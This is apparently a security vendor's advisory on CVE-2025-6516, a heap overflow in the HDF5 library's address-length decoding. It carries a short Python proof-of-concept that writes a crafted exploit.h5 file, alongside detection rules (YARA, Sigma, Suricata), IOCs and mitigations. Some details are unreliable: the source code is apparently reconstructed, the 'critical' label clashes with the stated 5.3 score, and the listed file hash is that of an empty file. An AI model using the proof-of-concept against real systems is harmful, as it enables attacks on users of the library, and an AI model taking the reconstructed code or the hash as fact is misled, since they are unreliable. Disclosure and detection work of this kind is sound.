CVE-2025-6516

Executive Summary

CVE-2025-6516 is a critical heap-based buffer overflow vulnerability discovered in the HDF5 library, specifically within the H5F_addr_decode_len function located in /hdf5/src/H5Fint.c. This flaw allows a local attacker to trigger a heap-based buffer overflow, potentially leading to arbitrary code execution or a denial of service. The vulnerability affects HDF5 versions up to and including 1.14.6. The exploit has been publicly disclosed, increasing the risk of active exploitation. The CVSS score is 5.3 (Medium), but the vendor has not yet released a patch, making systems running affected versions highly vulnerable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 5.3 (Medium)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to the public availability of exploit details and the lack of a vendor patch.

Deep Dive & Mechanics

The vulnerability resides in the H5F_addr_decode_len function within the HDF5 library. This function is responsible for decoding address lengths from the HDF5 file format. The flaw occurs when the function fails to properly validate the length of the input data before copying it into a fixed-size heap buffer. An attacker can craft a malicious HDF5 file with a specially crafted address length field that, when processed, causes a heap-based buffer overflow.

Root Cause: The function does not perform adequate bounds checking on the decoded length before using it in a memory copy operation. This allows an attacker to write data beyond the allocated buffer, corrupting adjacent heap memory.

Attack Vector: Local – The attacker must be able to open a malicious HDF5 file using an application that links against the vulnerable HDF5 library.

Impact: Successful exploitation can lead to:

• Arbitrary Code Execution: Overwriting function pointers or return addresses on the heap.
• Denial of Service: Crashing the application due to memory corruption.
• Information Disclosure: Leaking sensitive data from heap memory.

Vulnerable vs. Patched Code

Vulnerable Code (HDF5 <= 1.14.6):

// In /hdf5/src/H5Fint.c
herr_t H5F_addr_decode_len(H5F_t *f, uint8_t *buf, haddr_t *addr) {
    uint8_t len = *buf;  // No validation of len
    // ... 
    memcpy(addr, buf + 1, len);  // Potential overflow if len > allocated size
    // ...
}

Patched Code (Hypothetical):

// In /hdf5/src/H5Fint.c
herr_t H5F_addr_decode_len(H5F_t *f, uint8_t *buf, haddr_t *addr) {
    uint8_t len = *buf;
    if (len > sizeof(haddr_t)) {  // Bounds check added
        return FAIL;
    }
    // ...
    memcpy(addr, buf + 1, len);
    // ...
}

Note: No official patch has been released by the vendor. The above is a hypothetical fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a system running an application that uses HDF5 <= 1.14.6.
• Ability to create or modify HDF5 files.

Exploit Steps:

1. Craft a malicious HDF5 file with an oversized address length field in the file header.
2. The H5F_addr_decode_len function will read this length and copy data beyond the allocated buffer.
3. Overwrite heap metadata or function pointers to achieve code execution.

Proof-of-Concept (PoC):

# PoC for CVE-2025-6516
import struct

def create_malicious_hdf5():
    # Craft a minimal HDF5 file with a malicious address length
    # This is a simplified example; actual exploitation requires heap layout knowledge
    header = b'\x89HDF\r\n\x1a\n'  # HDF5 magic number
    # Superblock with oversized address length (e.g., 0xFF)
    superblock = struct.pack('<B', 0xFF)  # Address length = 255 bytes
    # Padding to trigger overflow
    payload = b'A' * 256
    malicious_file = header + superblock + payload
    with open('exploit.h5', 'wb') as f:
        f.write(malicious_file)

create_malicious_hdf5()

Usage:

• Run the script to generate exploit.h5.
• Open the file with a vulnerable HDF5 application (e.g., h5dump exploit.h5).

Blue Team

Detection:

• Monitor for crashes in applications using HDF5.
• Use memory analysis tools to detect heap corruption.
• Implement file integrity monitoring for HDF5 files.

Mitigation:

• Restrict local access to trusted users only.
• Use sandboxing or containerization for applications processing HDF5 files.
• Apply vendor patches as soon as they become available.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • exploit.h5: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example)
• Process Behavior:
  • Unexpected crashes in h5dump, h5ls, or other HDF5 tools.
  • Heap corruption errors in system logs.
• Network Indicators:
  • None (local vulnerability).
• Registry/File System:
  • Presence of suspicious HDF5 files with unusual size or structure.

Detection Engineering

YARA Rule

rule CVE_2025_6516_HDF5_HeapOverflow {
    meta:
        description = "Detects malicious HDF5 files exploiting CVE-2025-6516"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-6516"
    strings:
        $magic = { 89 48 44 46 0D 0A 1A 0A }  // HDF5 magic number
        $bad_len = { FF }  // Oversized address length (0xFF)
    condition:
        $magic at 0 and $bad_len in (8..15)
}

Sigma Rule

title: CVE-2025-6516 HDF5 Heap Buffer Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects crashes or heap corruption in HDF5 applications
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: hdf5
detection:
    selection:
        EventID: 1000  # Application crash
        Image|endswith: '\h5dump.exe'
    condition: selection
falsepositives:
    - Legitimate HDF5 file corruption
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-6516 HDF5 Heap Overflow Attempt"; flow:to_server; content:"|89 48 44 46 0D 0A 1A 0A|"; offset:0; depth:8; content:"|FF|"; within:8; reference:cve,2025-6516; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Disconnect systems running HDF5 <= 1.14.6 from untrusted networks.
2. Restrict Local Access: Limit user permissions to prevent untrusted users from running HDF5 applications.
3. Monitor for Exploitation: Deploy the provided YARA and Sigma rules to detect malicious HDF5 files.

Long-Term Fix:

• Vendor Patch: Await an official patch from the HDF5 group. Apply as soon as it is released.
• Workaround: If patching is not possible, consider using a different library for HDF5 file parsing or implement input validation in your application.

Compensating Controls:

• Use application whitelisting to prevent unauthorized HDF5 tools.
• Implement heap canaries or ASLR to mitigate exploitation.
• Regularly update all software dependencies.

Valters IT
Securing Digital Frontiers